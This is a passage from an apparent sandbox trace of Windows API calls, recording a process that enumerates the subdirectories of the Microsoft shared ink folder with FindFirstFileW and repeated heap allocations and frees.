hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.050] GetProcessHeap () returned 0x11a0000 [0079.050] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.050] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.056] GetProcessHeap () returned 0x11a0000 [0079.056] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.056] GetProcessHeap () returned 0x11a0000 [0079.056] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.056] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294770 [0079.060] GetProcessHeap () returned 0x11a0000 [0079.060] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.060] GetProcessHeap () returned 0x11a0000 [0079.060] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.060] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.060] GetProcessHeap () returned 0x11a0000 [0079.060] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.060] GetProcessHeap () returned 0x11a0000 [0079.060] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.060] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.061] GetProcessHeap () returned 0x11a0000 [0079.061] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.061] GetProcessHeap () returned 0x11a0000 [0079.061] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.061] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.061] GetProcessHeap () returned 0x11a0000 [0079.061] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.061] GetProcessHeap () returned 0x11a0000 [0079.061] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.061] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x12949b0 [0079.065] GetProcessHeap () returned 0x11a0000 [0079.065] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.065] GetProcessHeap () returned 0x11a0000 [0079.065] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.065] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.065] GetProcessHeap () returned 0x11a0000 [0079.065] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.065] GetProcessHeap () returned 0x11a0000 [0079.065] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.065] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x12950f0 [0079.066] GetProcessHeap () returned 0x11a0000 [0079.066] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b677b0 [0079.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x2fbe860 | out: lpFindFileData=0x2fbe860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294eb0 [0079.069] GetProcessHeap () returned 0x11a0000 [0079.069] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b677b0 | out: hHeap=0x11a0000) returned 1 [0079.069] GetProcessHeap () returned 0x11a0000 [0079.069] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b677b0 [0079.069] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\*", lpFindFileData=0x2fbe860 | out: lpFindFileData=0x2fbe860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294ab0 [0079.072] GetProcessHeap () returned 0x11a0000 [0079.072] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b677b0 | out: hHeap=0x11a0000) returned 1 [0079.072] GetProcessHeap () returned 0x11a0000 [0079.072] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b677b0 [0079.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x2fbe860 | out: lpFindFileData=0x2fbe860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294bf0 [0079.073] GetProcessHeap () returned 0x11a0000 [0079.073] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b677b0 | out: hHeap=0x11a0000) returned 1 [0079.073] GetProcessHeap () returned 0x11a0000 [0079.073] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b677b0 [0079.073] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x2fbe860 | out: lpFindFileData=0x2fbe860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294f30 [0079.086] GetProcessHeap () returned 0x11a0000 [0079.086] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b677b0 | out: hHeap=0x11a0000) returned 1 [0079.086] GetProcessHeap () returned 0x11a0000 [0079.086] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b677b0 [0079.086] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\*", lpFindFileData=0x2fbe860 | out: lpFindFileData=0x2fbe860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294df0 [0079.087] GetProcessHeap () returned 0x11a0000 [0079.087] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b677b0 | out: hHeap=0x11a0000) returned 1 [0079.087] GetProcessHeap () returned 0x11a0000 [0079.087] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b677b0 [0079.087] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x2fbe860 | out: lpFindFileData=0x2fbe860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294df0 [0079.090] GetProcessHeap () returned 0x11a0000 [0079.090] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b677b0 | out: hHeap=0x11a0000) returned 1 [0079.090] GetProcessHeap () returned 0x11a0000 [0079.090] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b677b0 [0079.090] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\*", lpFindFileData=0x2fbe860 | out: lpFindFileData=0x2fbe860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294db0 [0079.090] GetProcessHeap () returned 0x11a0000 [0079.090] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b677b0 | out: hHeap=0x11a0000) returned 1 [0079.090] GetProcessHeap () returned 0x11a0000 [0079.091] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b677b0 [0079.091] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x2fbe860 | out: lpFindFileData=0x2fbe860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294fb0 [0079.091] GetProcessHeap () returned 0x11a0000 [0079.091] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b677b0 | out: hHeap=0x11a0000) returned 1 [0079.091] GetProcessHeap () returned 0x11a0000 [0079.091] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b677b0 [0079.091] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x2fbe860 | out: lpFindFileData=0x2fbe860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294970 [0079.091] GetProcessHeap () returned 0x11a0000 [0079.091] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b677b0 | out: hHeap=0x11a0000) returned 1 [0079.091] GetProcessHeap () returned 0x11a0000 [0079.091] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b677b0 [0079.092] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x2fbe860 | out: lpFindFileData=0x2fbe860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294fb0 [0079.094] GetProcessHeap () returned 0x11a0000 [0079.094] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b677b0 | out: hHeap=0x11a0000) returned 1 [0079.094] GetProcessHeap () returned 0x11a0000 [0079.095] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.096] GetProcessHeap () returned 0x11a0000 [0079.096] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.096] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294ef0 [0079.096] GetProcessHeap () returned 0x11a0000 [0079.096] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.097] GetProcessHeap () returned 0x11a0000 [0079.097] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.097] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294cb0 [0079.097] GetProcessHeap () returned 0x11a0000 [0079.097] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.097] GetProcessHeap () returned 0x11a0000 [0079.097] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.097] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294b70 [0079.097] GetProcessHeap () returned 0x11a0000 [0079.097] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.098] GetProcessHeap () returned 0x11a0000 [0079.098] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.098] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294d30 [0079.098] GetProcessHeap () returned 0x11a0000 [0079.098] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.098] GetProcessHeap () returned 0x11a0000 [0079.098] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.098] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.105] GetProcessHeap () returned 0x11a0000 [0079.105] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.105] GetProcessHeap () returned 0x11a0000 [0079.105] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.105] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b89c00 [0079.105] GetProcessHeap () returned 0x11a0000 [0079.105] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.105] GetProcessHeap () returned 0x11a0000 [0079.105] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.105] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b89c00 [0079.106] GetProcessHeap () returned 0x11a0000 [0079.106] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.106] GetProcessHeap () returned 0x11a0000 [0079.106] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.106] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.108] GetProcessHeap () returned 0x11a0000 [0079.108] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.108] GetProcessHeap () returned 0x11a0000 [0079.108] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.108] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8a500 [0079.109] GetProcessHeap () returned 0x11a0000 [0079.109] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.109] GetProcessHeap () returned 0x11a0000 [0079.109] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.109] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8a640 [0079.109] GetProcessHeap () returned 0x11a0000 [0079.109] HeapFree (in: 